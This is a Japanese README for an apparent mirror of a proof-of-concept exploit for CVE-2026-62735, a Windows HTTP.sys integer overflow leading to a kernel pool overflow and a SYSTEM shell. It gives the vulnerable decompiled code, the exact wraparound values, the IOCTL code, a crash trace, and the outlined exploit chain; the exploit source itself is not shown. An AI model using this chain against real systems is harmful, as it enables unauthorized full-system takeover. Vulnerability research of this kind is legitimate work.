
Windows HTTP.sys 整数オーバーフロー(CVE-2026-62735)に対するローカル権限昇格エクスプロイト。非ページプールオーバーフローによるクラッシュと完全なSYSTEMシェルを実証します。許可されたテスト専用です。
整数オーバーフロー 脆弱性によるクラッシュを実証しています。この脆弱性により、ヒープオーバーフロー -> SYSTEM シェル というプリミティブが得られます。整数オーバーフローhttp.sysUlpCreateInternalResponseOldhttp.sys はヘッダーがはるかに大きなバッファを必要とするにもかかわらず、TotalHeaderBytes に基づいてメモリを割り当てます。これにより、UlGenerateMultipleKnownHeadersOld 内の非ページプール割り当てをオーバーフローさせる基盤が提供されます:__int64 __fastcall UlpCreateInternalResponseOld(
sv_UL_REQUEST *Request,
unsigned __int16 EntityChunkCount,
unsigned int FixedHeaderCount,
unsigned int FixedHeaderBytes,
unsigned int MultipleHeaderCount,
unsigned int MultipleHeaderBytes,
unsigned __int16 KnownHeaderCount,
unsigned int TrailerCount,
unsigned int TrailerBytes,
char FastForwardRequested,
char CacheEligible,
char ResponseInfoPresent,
char AutomaticChunkingRequired,
char AdditionalHeaderRequired,
sv_UL_INTERNAL_RESPONSE **InternalResponseOut)
{
int VariableHeaderBytes; // r9d
int H3ExtraHeaderBytes; // r10d
unsigned int MultipleHeaderBytesLocal; // ecx
unsigned int TotalHeaderBytes; // [rsp+E8h] [rbp+60h]
...
// 0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e
TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes;
...
}
*** Fatal System Error: 0x00000050
(0xFFFFCD86AE712000,0x0000000000000002,0xFFFFF807489C4362,0x0000000000000002)
Driver at fault:
*** HTTP.sys - Address FFFFF807489C4362 base at FFFFF80748860000, DateStamp 2bfcaa4c
.
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff807`b26fa0d0 cc int 3
0: kd> k
# Child-SP RetAddr Call Site
00 ffffe205`092ddf78 fffff807`b27afcf2 nt!DbgBreakPointWithStatus
01 ffffe205`092ddf80 fffff807`b27af21e nt!KiBugCheckDebugBreak+0x12
02 ffffe205`092ddfe0 fffff807`b26f9357 nt!KeBugCheck2+0xb2e
03 ffffe205`092de770 fffff807`b24fd030 nt!KeBugCheckEx+0x107
04 ffffe205`092de7b0 fffff807`b2443c56 nt!MiSystemFault+0x850
05 ffffe205`092de8a0 fffff807`b28badcb nt!MmAccessFault+0x646
06 ffffe205`092dea10 fffff807`489c4362 nt!KiPageFault+0x38b
07 ffffe205`092deba8 fffff807`489a6611 HTTP!memcpy+0x122
08 ffffe205`092debb0 fffff807`4897c165 HTTP!UlGenerateMultipleKnownHeadersOld+0xbdd
09 ffffe205`092ded90 fffff807`48976db0 HTTP!UlpPrepareHttpResponseOld+0x2c9
0a ffffe205`092dee70 fffff807`489361a4 HTTP!UlCaptureHttpResponseOld+0x92c
0b ffffe205`092defc0 fffff807`488f7c92 HTTP!UlSendHttpResponseIoctlOld+0x1160
0c ffffe205`092df600 fffff807`488c4db5 HTTP!UlSendHttpResponseIoctl+0x12
0d ffffe205`092df630 fffff807`b245cabb HTTP!UxDeviceControl+0xb5
0e ffffe205`092df670 fffff807`b245ca33 nt!IopfCallDriver+0x5b
0f ffffe205`092df6b0 fffff807`b2ac0e75 nt!IofCallDriver+0x13
10 ffffe205`092df6e0 fffff807`b2abfcbc nt!IopSynchronousServiceTail+0x1c5
11 ffffe205`092df790 fffff807`b2abf30e nt!IopXxxControlFile+0x99c
12 ffffe205`092dfa00 fffff807`b28bf255 nt!NtDeviceIoControlFile+0x5e
13 ffffe205`092dfa70 00007ffa`d37c0144 nt!KiSystemServiceCopyEnd+0x25
14 00000014`0d9af2d8 00007ffa`d08a3953 ntdll!NtDeviceIoControlFile+0x14
15 00000014`0d9af2e0 00007ffa`d1f93335 KERNELBASE!DeviceIoControl+0x73
16 00000014`0d9af350 00007ff7`00cb1cb4 KERNEL32!DeviceIoControlImplementation+0x75
17 00000014`0d9af3a0 00000000`00001f7f poc!main+0x924
18 00000014`0d9af3a8 00000000`00000007 0x1f7f
19 00000014`0d9af3b0 00000014`0d9af4a0 0x7
1a 00000014`0d9af3b8 00000000`00000000 0x00000014`0d9af4a0
このリポジトリは CVE-2026-62735(Windows HTTP.sys 整数オーバーフロー → 非ページプールオーバーフロー → SYSTEM) 脆弱性 PoC の中継配布ミラーです(技術説明は上記のアップストリーム元 README を参照)。内容はアップストリームの公開 PoC からミラーされたもので、アーカイブおよび配布のみを目的としています。PoC はセキュリティ研究、脆弱性検証、および許可されたテストのみを目的としており、許可されていないターゲットには使用しないでください。
UlpCreateInternalResponseOld / UlGenerateMultipleKnownHeadersOld(http.sys、旧コードパス)0x12403F(UlSendHttpResponseIoctl)経由で http.sys に処理させる核心原理:TotalHeaderBytes = MultipleHeaderBytesLocal + FixedHeaderBytes + H3ExtraHeaderBytes + VariableHeaderBytes——複数値応答ヘッダーのバイト数が 2³² 近くに構築されると、この 32 ビット加算は極小値(0xffffff32 + 0x2e + 0 + 0xa0 = 0x4e)にラップアラウンドし、ExAllocatePool3 は実際の必要量よりはるかに小さいカーネルバッファを割り当て、その後 UlGenerateMultipleKnownHeadersOld の memcpy がこの非ページプールブロックを境界外に書き込む。
poc/ poc.cpp + head.hpp —— 完全なエクスプロイト:名前付きパイプ DQE ヒープスプレー → プールオーバーフローで 0x30 ヘッダーを制御 → 任意読み取り/書き込み → SYSTEM token のコピー → SYSTEM シェル
crash/ poc.cpp + head.hpp —— クラッシュトリガーのみ(脆弱性の存在を検証、0x50 バグチェックをトリガー)
crash/ と poc/ はそれぞれ独立した実行ファイルです;poc.exe を実行して成功すると SYSTEM シェルが起動します本 PoC は教育、セキュリティ研究、および許可されたテストのみを目的としており、所有しているシステムまたは明確な許可を得たシステムでのみ実行できます。このエクスプロイトはカーネルプールオーバーフローにより SYSTEM への権限昇格を行い、ブルースクリーン(0x50)を引き起こす可能性があるため、破棄可能な仮想マシンでテストしてください。